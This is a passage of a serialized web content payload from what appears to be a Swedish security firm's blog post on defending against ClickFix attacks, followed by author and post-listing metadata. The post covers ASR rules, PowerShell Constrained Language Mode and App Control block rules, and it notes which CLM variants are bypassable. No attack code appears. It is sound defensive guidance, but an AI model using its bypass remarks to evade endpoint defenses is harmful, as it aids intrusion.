e-post",[900,975,902,976,902,979,902,984,898],{},[920,977,978],{"style":922},"Hindra alla Office-applikationer från att skapa barnprocesser",[920,980,981],{"style":926},[551,982,983],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[920,985,986],{"style":922},"Office-betesvarianter som startar interpretrar",[534,988,989],{},"Rulla ut ASR först i auditläge, sedan som pilot, sedan i blockläge. Tamper Protection är sista linjen: den hindrar angriparen från att stänga av era detekteringar.",[534,991,992],{},"Vad gäller PowerShell självt minskar ni risken från legacy-interpretrar. Identifiera och ta bort, där det är genomförbart, Windows PowerShell 2.0 och legacy-VBScript-komponenter, som saknar loggnings- och säkerhetsfunktionerna i nyare versioner. Nästa steg är Constrained Language Mode (CLM), som begränsar vilka språkelement i PowerShell som är tillgängliga och blockerar många skriptbaserade tekniker. CLM har bara robust säkerhetsvärde när en system application control-policy driver igenom det (App Control for Business); varianterna via miljövariabel och AppLocker är svagare och går att kringgå. Och många system behöver Full Language Mode för att fungera, exempelvis verktyg för programvarudistribution, varför CLM ofta bara är genomförbart i utvalda miljöer.",[534,994,995],{},"Därmed är vi framme vid App Control for Business (tidigare WDAC). App Control driver igenom en kodintegritetspolicy över vilka executables, skript och drivrutiner som får köra. Den strategiska hållningen är default-deny plus Microsofts rekommenderade block rules, den kända LOLBin- och bypass-blocklistan. App Control är också den korrekta enforcement-vägen för PowerShell-CLM. Script enforcement blockerar MSHTA- och MSXML-skripthostar, tvingar in PowerShell i CLM och blockerar otillåten användning av Windows Script Host. Ett par beteendefakta är viktiga:",[804,997,807,998,807,1001,807,1004],{"style":806},[809,999,1000],{},"Base policies som litar på Windows blockerar inte betrodda LOLBins automatiskt. Ni måste merga in Microsofts rekommenderade block rules för att stänga de kända bypasserna.",[809,1002,1003],{},"App Control hindrar inte signerade powershell.exe eller cmd.exe från att starta. Det begränsar vad de får göra (CLM, ingen osignerad eller otillåten payload) och styr inte innehållet i cmd.exe, .bat eller .cmd. Därför skiktas det med ASR och start-härdning, inte används ensamt.",[809,1005,1006],{},"Auditläget är inte neutralt: script enforcement blockerar även i audit exekveringen av MSHTA och MSXML och kan ändra PowerShell-CLM-beteendet. Därför måste App Control i audit vara pilot- eller ringbegränsat från första utrullningen, aldrig flottäckande.",[534,1008,1009],{},"App Control är den enskilda kontroll som har högst confidence mot interpretor-, LOLBin- och payload-exekveringsfaserna och driver igenom robust CLM. Den bär samtidigt högst deploymentkomplexitet och högst rollback-risk, för en felkonfiguration blockerar exekveringen. Inför den via kontrollerade pilotringar.",[529,1011,1013],{"id":1012},"var-vi-kommer-in-i-bilden","Var vi kommer in i bilden",[534,1015,536],{},[534,1017,1018,1019,1023],{},"ClickFix är snabbt, och Microsofts inbyggda detekteringar täcker det mesta, men inte allt. För våra CSOC-kunder utökar vi täckningen löpande där luckor dyker upp: exekvering via Windows Terminal, RAT-drivna supportbedrägerier och beteende efter kompromettering. Om ni vill veta var er miljö står, ",[1020,1021,1022],"a",{"href":276},"hör av er",".",[1025,1026,1027],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":577,"searchDepth":677,"depth":677,"links":1029},[1030,1031,1032,1033,1034,1035,1036,1037,1038],{"id":531,"depth":677,"text":532},{"id":615,"depth":677,"text":616},{"id":627,"depth":677,"text":628},{"id":650,"depth":677,"text":651},{"id":763,"depth":677,"text":764},{"id":793,"depth":677,"text":794},{"id":830,"depth":677,"text":831},{"id":846,"depth":677,"text":847},{"id":1012,"depth":677,"text":1013},"md","post",{"lang":1042,"seoTitle":1043,"titleClass":1044,"date":1045,"categories":1046,"blogtitlepic":1048,"socialimg":1049,"customExcerpt":1050,"keywords":1051,"asideNav":1052,"published":325},"sv","Upptäcka och förhindra ClickFix-attacker: Win+R-paste-tricket","h2-font-size","2026-09-21",[1047],"Security","head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix gör användare till sin egen angripare: ett förfalskat CAPTCHA, en copy-paste, och skadlig kod körs i minnet utan att något landar på disken. Hur Microsoft Defender upptäcker attacken, var detekteringen når sina gränser och hur ni stänger luckan med en RunMRU-hunt och fyra skyddslager.","ClickFix, ClickFix-attack, ClickFix-detektering, förhindra ClickFix, fake CAPTCHA, Win+R-attack, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR-regler, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, infostealer, LOLBin, PowerShell-härdning",{"menuItems":1053},[1054,1057,1060,1063,1066,1069,1072,1075,1078],{"href":1055,"text":1056},"#clickfix-attackkedjan","Attackkedjan",{"href":1058,"text":1059},"#vad-microsoft-defender-upptäcker","Vad Defender upptäcker",{"href":1061,"text":1062},"#var-den-inbyggda-detekteringen-når-sina-gränser","Var det kärvar",{"href":1064,"text":1065},"#att-stänga-luckan-en-runmru-hunt","Att stänga luckan",{"href":1067,"text":1068},"#skyddslager-1-blockera-leveransen","Lager 1: leverans",{"href":1070,"text":1071},"#skyddslager-2-blockera-tricket","Lager 2: tricket",{"href":1073,"text":1074},"#skyddslager-3-blockera-handlingen","Lager 3: handlingen",{"href":1076,"text":1077},"#skyddslager-4-blockera-exekveringen","Lager 4: exekvering",{"href":1079,"text":1013},"#var-vi-kommer-in-i-bilden","/posts/2026-09-21-clickfix-prevent-detect",{"title":521,"description":577},"posts/2026-09-21-clickfix-prevent-detect",[1084,1085,1086],"Defender","SOC","Endpoint Security","pXJRGs5Ghv4KS4KJ44Fe_i8V7wNu4nnelQFrFpgkFXo",{"id":1089,"extension":1090,"meta":1091,"stem":8,"__hash__":1440},"authors_data/authors.json","json",{"path":1092,"Fritz Zurhorst":1093,"Alexander Schlindwein":1098,"Sophie Luna":1104,"Nadine Klein":1112,"Karsten Kleinschmidt":1117,"Julian Wendt":1125,"Holger Bunkradt":1130,"Ralf Mania":1136,"Oliver Kieselbach":1142,"Steffen Schwerdtfeger":1148,"Gunnar Winter":1156,"Jan Petersen":1161,"Thorsten Kunzi":1166,"Moritz Pohl":1170,"Thorben Pöschus":1175,"Christoph Hannebauer":1181,"Marco Scheel":1185,"Christopher Brumm":1190,"Florian Klante":1197,"Niklas Bachmann":1202,"Nils Krautkrämer":1207,"Patrick Treptau":1213,"Peter Beckendorf":1218,"Patrick Sobau":1223,"Jörg Wunderlich":1228,"Michael Breither":1232,"Christian Kanja":1237,"Zeba Hoffmann":1243,"Jochen Fröhlich":1248,"Jan Geisbauer":1252,"Gerrit Reinke":1264,"Christian Kordel":1270,"Stephan Wälde":1274,"Carolin Kanja":1279,"Adrian Ritter":1285,"Marvin Bangert":1290,"Thorsten Pickhan":1296,"Christian Lorenz":1302,"Denis Böhm":1307,"Fabian Bader":1312,"Juan Jose Fernandez Perez":1318,"Mahschid Sayyar":1323,"Benjamin Dassow":1328,"Markus Walschburger":1333,"Jonathan Haist":1338,"Daniel Rohregger":1343,"Thomas Naunheim":1348,"Florian Stöckl":1353,"Pascal Asch":1358,"Markus Kättner":1363,"Anna Ulbricht":1370,"Annette Brauns":1377,"body":1383,"title":1439},"/authors",{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1099,"avatar":1100,"permalink":1101,"twitter":1102,"linkedin":1103},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1105,"avatar":1106,"permalink":1107,"twitter":1108,"linkedin":1109,"imageOffsetLeft":1110,"imageOffsetTop":1111},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1118,"avatar":1119,"permalink":1120,"twitter":1121,"linkedin":1122,"imageOffsetTop":1123,"imageOffsetLeft":1124},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1126,"avatar":1127,"permalink":1128,"linkedin":1129},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1131,"avatar":1132,"permalink":1133,"linkedin":1134,"twitter":1135},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1137,"avatar":1138,"permalink":1139,"linkedin":1140,"twitter":1141},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1143,"avatar":1144,"permalink":1145,"linkedin":1146,"twitter":1147},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1149,"avatar":1150,"permalink":1151,"linkedin":1152,"twitter":1153,"imageOffsetTop":1154,"imageOffsetLeft":1155},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1157,"avatar":1158,"permalink":1159,"twitter":1108,"linkedin":1160},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1162,"avatar":1163,"permalink":1164,"twitter":1108,"linkedin":1165},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1167,"avatar":1168,"permalink":1169,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1171,"avatar":1172,"permalink":1173,"twitter":1108,"linkedin":1174},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1176,"avatar":1177,"permalink":1178,"twitter":1179,"linkedin":1180},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1182,"avatar":1183,"permalink":1184,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1186,"avatar":1187,"permalink":1188,"twitter":1189,"linkedin":1189},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1191,"avatar":1192,"permalink":1193,"twitter":1194,"linkedin":1195,"imageOffsetTop":1196},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1198,"avatar":1199,"permalink":1200,"linkedin":1201,"twitter":1108},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1203,"avatar":1204,"permalink":1205,"linkedin":1206,"twitter":1108},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1208,"avatar":1209,"permalink":1210,"twitter":1211,"linkedin":1212},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1214,"avatar":1215,"permalink":1216,"linkedin":1217,"twitter":1108},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1219,"avatar":1220,"permalink":1221,"linkedin":1222,"twitter":1108,"imageOffsetTop":1097},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1224,"avatar":1225,"permalink":1226,"linkedin":1227,"twitter":1108},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1229,"avatar":1230,"permalink":1231,"twitter":1108},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1233,"avatar":1234,"permalink":1235,"twitter":1108,"linkedin":1236},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1238,"avatar":1239,"permalink":1240,"twitter":1241,"linkedin":1242},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1244,"avatar":1245,"permalink":1246,"linkedin":1247,"twitter":1108},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1249,"avatar":1250,"permalink":1251,"twitter":1108,"linkedin":1160},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1253,"avatar":1254,"permalink":1255,"twitter":1256,"linkedin":1256,"imageOffsetTop":1097,"socials":1257},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1258,1261],{"text":1259,"href":1260},"Blog","https://emptydc.com",{"text":1262,"href":1263},"Podcast","https://hairlessinthecloud.com",{"display_name":1265,"avatar":1266,"permalink":1267,"twitter":1268,"linkedin":1269},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1271,"avatar":1272,"permalink":1273,"twitter":1108,"linkedin":1160},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1275,"avatar":1276,"permalink":1277,"twitter":1278,"linkedin":1160},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1280,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1284},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1286,"avatar":1287,"permalink":1288,"twitter":1289,"linkedin":1289},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1291,"avatar":1292,"permalink":1293,"twitter":1294,"linkedin":1295},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1297,"avatar":1298,"permalink":1299,"twitter":1300,"linkedin":1301},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1303,"avatar":1304,"permalink":1305,"linkedin":1306,"twitter":1108},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1308,"avatar":1309,"permalink":1310,"linkedin":1311,"twitter":1108},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1313,"avatar":1314,"permalink":1315,"linkedin":1316,"twitter":1317},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1319,"avatar":1320,"permalink":1321,"linkedin":1322},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1324,"avatar":1325,"permalink":1326,"linkedin":1327},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1329,"avatar":1330,"permalink":1331,"linkedin":1332},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1334,"avatar":1335,"permalink":1336,"linkedin":1337},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1339,"avatar":1340,"permalink":1341,"linkedin":1342,"imageOffsetTop":1097},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1344,"avatar":1345,"permalink":1346,"linkedin":1347,"imageOffsetTop":1097},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1349,"avatar":1350,"permalink":1351,"linkedin":1352,"imageOffsetTop":1196},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1354,"avatar":1355,"permalink":1356,"linkedin":1357,"imageOffsetTop":1196},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1359,"avatar":1360,"permalink":1361,"linkedin":1362,"imageOffsetTop":1196},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1364,"avatar":1365,"permalink":1366,"linkedin":1367,"imageOffsetTop":1368,"imageOffsetLeft":1369},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1371,"avatar":1372,"permalink":1373,"linkedin":1374,"imageOffsetTop":1375,"imageOffsetLeft":1376},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1378,"avatar":1379,"permalink":1380,"linkedin":1381,"imageOffsetTop":1382,"imageOffsetLeft":1123},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1384,"Alexander Schlindwein":1385,"Sophie Luna":1386,"Nadine Klein":1387,"Karsten Kleinschmidt":1388,"Julian Wendt":1389,"Holger Bunkradt":1390,"Ralf Mania":1391,"Oliver Kieselbach":1392,"Steffen Schwerdtfeger":1393,"Gunnar Winter":1394,"Jan Petersen":1395,"Thorsten Kunzi":1396,"Moritz Pohl":1397,"Thorben Pöschus":1398,"Christoph Hannebauer":1399,"Marco Scheel":1400,"Christopher Brumm":1401,"Florian Klante":1402,"Niklas Bachmann":1403,"Nils Krautkrämer":1404,"Patrick Treptau":1405,"Peter Beckendorf":1406,"Patrick Sobau":1407,"Jörg Wunderlich":1408,"Michael Breither":1409,"Christian Kanja":1410,"Zeba Hoffmann":1411,"Jochen Fröhlich":1412,"Jan Geisbauer":1413,"Gerrit Reinke":1417,"Christian Kordel":1418,"Stephan Wälde":1419,"Carolin Kanja":1420,"Adrian Ritter":1421,"Marvin Bangert":1422,"Thorsten Pickhan":1423,"Christian Lorenz":1424,"Denis Böhm":1425,"Fabian Bader":1426,"Juan Jose Fernandez Perez":1427,"Mahschid Sayyar":1428,"Benjamin Dassow":1429,"Markus Walschburger":1430,"Jonathan Haist":1431,"Daniel Rohregger":1432,"Thomas Naunheim":1433,"Florian Stöckl":1434,"Pascal Asch":1435,"Markus Kättner":1436,"Anna Ulbricht":1437,"Annette Brauns":1438},{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},{"display_name":1099,"avatar":1100,"permalink":1101,"twitter":1102,"linkedin":1103},{"display_name":1105,"avatar":1106,"permalink":1107,"twitter":1108,"linkedin":1109,"imageOffsetLeft":1110,"imageOffsetTop":1111},{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},{"display_name":1118,"avatar":1119,"permalink":1120,"twitter":1121,"linkedin":1122,"imageOffsetTop":1123,"imageOffsetLeft":1124},{"display_name":1126,"avatar":1127,"permalink":1128,"linkedin":1129},{"display_name":1131,"avatar":1132,"permalink":1133,"linkedin":1134,"twitter":1135},{"display_name":1137,"avatar":1138,"permalink":1139,"linkedin":1140,"twitter":1141},{"display_name":1143,"avatar":1144,"permalink":1145,"linkedin":1146,"twitter":1147},{"display_name":1149,"avatar":1150,"permalink":1151,"linkedin":1152,"twitter":1153,"imageOffsetTop":1154,"imageOffsetLeft":1155},{"display_name":1157,"avatar":1158,"permalink":1159,"twitter":1108,"linkedin":1160},{"display_name":1162,"avatar":1163,"permalink":1164,"twitter":1108,"linkedin":1165},{"display_name":1167,"avatar":1168,"permalink":1169,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},{"display_name":1171,"avatar":1172,"permalink":1173,"twitter":1108,"linkedin":1174},{"display_name":1176,"avatar":1177,"permalink":1178,"twitter":1179,"linkedin":1180},{"display_name":1182,"avatar":1183,"permalink":1184,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},{"display_name":1186,"avatar":1187,"permalink":1188,"twitter":1189,"linkedin":1189},{"display_name":1191,"avatar":1192,"permalink":1193,"twitter":1194,"linkedin":1195,"imageOffsetTop":1196},{"display_name":1198,"avatar":1199,"permalink":1200,"linkedin":1201,"twitter":1108},{"display_name":1203,"avatar":1204,"permalink":1205,"linkedin":1206,"twitter":1108},{"display_name":1208,"avatar":1209,"permalink":1210,"twitter":1211,"linkedin":1212},{"display_name":1214,"avatar":1215,"permalink":1216,"linkedin":1217,"twitter":1108},{"display_name":1219,"avatar":1220,"permalink":1221,"linkedin":1222,"twitter":1108,"imageOffsetTop":1097},{"display_name":1224,"avatar":1225,"permalink":1226,"linkedin":1227,"twitter":1108},{"display_name":1229,"avatar":1230,"permalink":1231,"twitter":1108},{"display_name":1233,"avatar":1234,"permalink":1235,"twitter":1108,"linkedin":1236},{"display_name":1238,"avatar":1239,"permalink":1240,"twitter":1241,"linkedin":1242},{"display_name":1244,"avatar":1245,"permalink":1246,"linkedin":1247,"twitter":1108},{"display_name":1249,"avatar":1250,"permalink":1251,"twitter":1108,"linkedin":1160},{"display_name":1253,"avatar":1254,"permalink":1255,"twitter":1256,"linkedin":1256,"imageOffsetTop":1097,"socials":1414},[1415,1416],{"text":1259,"href":1260},{"text":1262,"href":1263},{"display_name":1265,"avatar":1266,"permalink":1267,"twitter":1268,"linkedin":1269},{"display_name":1271,"avatar":1272,"permalink":1273,"twitter":1108,"linkedin":1160},{"display_name":1275,"avatar":1276,"permalink":1277,"twitter":1278,"linkedin":1160},{"display_name":1280,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1284},{"display_name":1286,"avatar":1287,"permalink":1288,"twitter":1289,"linkedin":1289},{"display_name":1291,"avatar":1292,"permalink":1293,"twitter":1294,"linkedin":1295},{"display_name":1297,"avatar":1298,"permalink":1299,"twitter":1300,"linkedin":1301},{"display_name":1303,"avatar":1304,"permalink":1305,"linkedin":1306,"twitter":1108},{"display_name":1308,"avatar":1309,"permalink":1310,"linkedin":1311,"twitter":1108},{"display_name":1313,"avatar":1314,"permalink":1315,"linkedin":1316,"twitter":1317},{"display_name":1319,"avatar":1320,"permalink":1321,"linkedin":1322},{"display_name":1324,"avatar":1325,"permalink":1326,"linkedin":1327},{"display_name":1329,"avatar":1330,"permalink":1331,"linkedin":1332},{"display_name":1334,"avatar":1335,"permalink":1336,"linkedin":1337},{"display_name":1339,"avatar":1340,"permalink":1341,"linkedin":1342,"imageOffsetTop":1097},{"display_name":1344,"avatar":1345,"permalink":1346,"linkedin":1347,"imageOffsetTop":1097},{"display_name":1349,"avatar":1350,"permalink":1351,"linkedin":1352,"imageOffsetTop":1196},{"display_name":1354,"avatar":1355,"permalink":1356,"linkedin":1357,"imageOffsetTop":1196},{"display_name":1359,"avatar":1360,"permalink":1361,"linkedin":1362,"imageOffsetTop":1196},{"display_name":1364,"avatar":1365,"permalink":1366,"linkedin":1367,"imageOffsetTop":1368,"imageOffsetLeft":1369},{"display_name":1371,"avatar":1372,"permalink":1373,"linkedin":1374,"imageOffsetTop":1375,"imageOffsetLeft":1376},{"display_name":1378,"avatar":1379,"permalink":1380,"linkedin":1381,"imageOffsetTop":1382,"imageOffsetLeft":1123},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1442,"authors":1648},[1443,1459,1464,1478,1494,1507,1520,1533,1545,1561,1575,1590,1608,1619,1632],{"id":1444,"title":1445,"author":1446,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1447,"moment":1451,"path":1452,"stem":1453,"tags":1454,"webcast":484},"content_sv/posts/2026-09-22-end-of-mfa-sms.md","Slutet för MFA-SMS",[1118],{"lang":1042,"date":1045,"categories":1448,"blogtitlepic":1449,"customExcerpt":1450},[1047],"head-conditional-access.jpg","Varför företag nu bör gå över till phishingresistenta och så långt möjligt lösenordsfria inloggningsmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[1047,1455,1456,1457,1458],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":520,"title":521,"author":1460,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1461,"moment":1045,"path":1080,"stem":1082,"tags":1463,"webcast":484},[523,524],{"lang":1042,"date":1045,"categories":1462,"blogtitlepic":1048,"customExcerpt":1050},[1047],[1084,1085,1086],{"id":1465,"title":1466,"author":1467,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1468,"moment":1045,"path":1472,"stem":1473,"tags":1474,"webcast":484},"content_sv/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin och vardag på samma dator? Game Over.",[1253],{"lang":1042,"date":1045,"categories":1469,"blogtitlepic":1470,"customExcerpt":1471},[1047],"head-game-over-en.jpg","Varför en tenant inte räcker för CIO:er, och varför den andra sällan tänks med. Managed Red Tenant separerar administrativt arbete arkitektoniskt från kontorsmiljön, Managed Dark Tenant håller företaget handlingskraftigt när försvaret ändå faller. Vad det betyder för driftmodell, SOC-signal och bevisplikterna enligt NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[1047,1475,1476,1477],"Privileged Access","Zero Trust","NIS2",{"id":1479,"title":1480,"author":1481,"cta":494,"description":1482,"hideInRecent":484,"layout":1040,"meta":1483,"moment":1484,"path":1489,"stem":1490,"tags":1491,"webcast":484},"content_sv/posts/2026-08-08-isg-germany-2026.md","Fyra gånger Leader. glueckkanja i ISG-studien Tyskland 2026",[1280],"ISG har bytt namn på sin studie i år. Microsoft Cloud Ecosystem blev Microsoft AI and Cloud Ecosystem, och med namnet har måttstocken förskjutits: det som bedöms är inte längre vem som inför Microsoft-plattformar, utan vem som driver Copilot, agenter och AI-workloads kontrollerbart. På vår position har den nya måttstocken inte ändrat något. ISG Provider Lens®-studien Tyskland 2026 positionerar oss som Leader i fyra kvadranter: Microsoft Productivity and Business Process Services och Azure Managed Services, i både Large Market och Mid Market. Efter 2021, 2023, 2024 och 2025 är det den femte Leader-placeringen i Tyskland, i Schweiz kom steget in i Leader-kvadranten två veckor tidigare.",{"lang":1042,"date":1484,"categories":1485,"blogtitlepic":1487,"customExcerpt":1488},"2026-08-08",[1486],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-studien 2026 positionerar glueckkanja i Tyskland som Leader i fyra kvadranter: Microsoft Productivity and Business Process Services och Azure Managed Services, i både Large och Mid Market. Studien heter nu Microsoft AI and Cloud Ecosystem, och måttstocken har förskjutits: det som bedöms är vem som driver AI- och agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1492,1493],"Award","ISG",{"id":1495,"title":1496,"author":1497,"cta":494,"description":1498,"hideInRecent":484,"layout":1040,"meta":1499,"moment":1500,"path":1504,"stem":1505,"tags":1506,"webcast":484},"content_sv/posts/2026-07-31-isg-switzerland-2026.md","Från Rising Star till Leader. glueckkanja i ISG-studien Schweiz 2026",[1280],"2024 grundade vi glueckkanja Switzerland AG och flyttade in i ett kontor i zentroom på Bahnhofplatz 10b i Bern. 2025 placerade ISG oss som Rising Star på den schweiziska marknaden, som den leverantör som analytikerna tror kan ta steget in i Leader-kvadranten. Nu är steget dokumenterat: ISG Provider Lens®-studien 2026 positionerar oss i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inom områdena Azure Managed Services och Microsoft Productivity and Business Process Services.",{"lang":1042,"date":1500,"categories":1501,"blogtitlepic":1502,"customExcerpt":1503},"2026-07-31",[1486],"head-isg-ch-2026.png","ISG Provider Lens®-studien 2026 positionerar glueckkanja i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inom områdena Azure Managed Services och Microsoft Productivity and Business Process Services. Två år efter marknadsinträdet i Bern, ett år efter Rising Star-utmärkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1492,1493],{"id":1508,"title":1509,"author":1510,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1511,"moment":1512,"path":1516,"stem":1517,"tags":1518,"webcast":484},"content_sv/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Vad OpenAI/Hugging-Face-incidenten avslöjar och vad den inte avslöjar",[1253],{"lang":1042,"date":1512,"categories":1513,"blogtitlepic":1514,"customExcerpt":1515},"2026-07-24",[1047],"head-outbreak.jpg","En AI-agent bryter sig ut ur sin testmiljö, hittar en zero-day och hackar ett annat företag. Låter som filmmanus, men hände faktiskt i juli 2026. Tid för en nykter placering: med lite psykologi, två security-veteraner och frågan om vad det betyder för ert 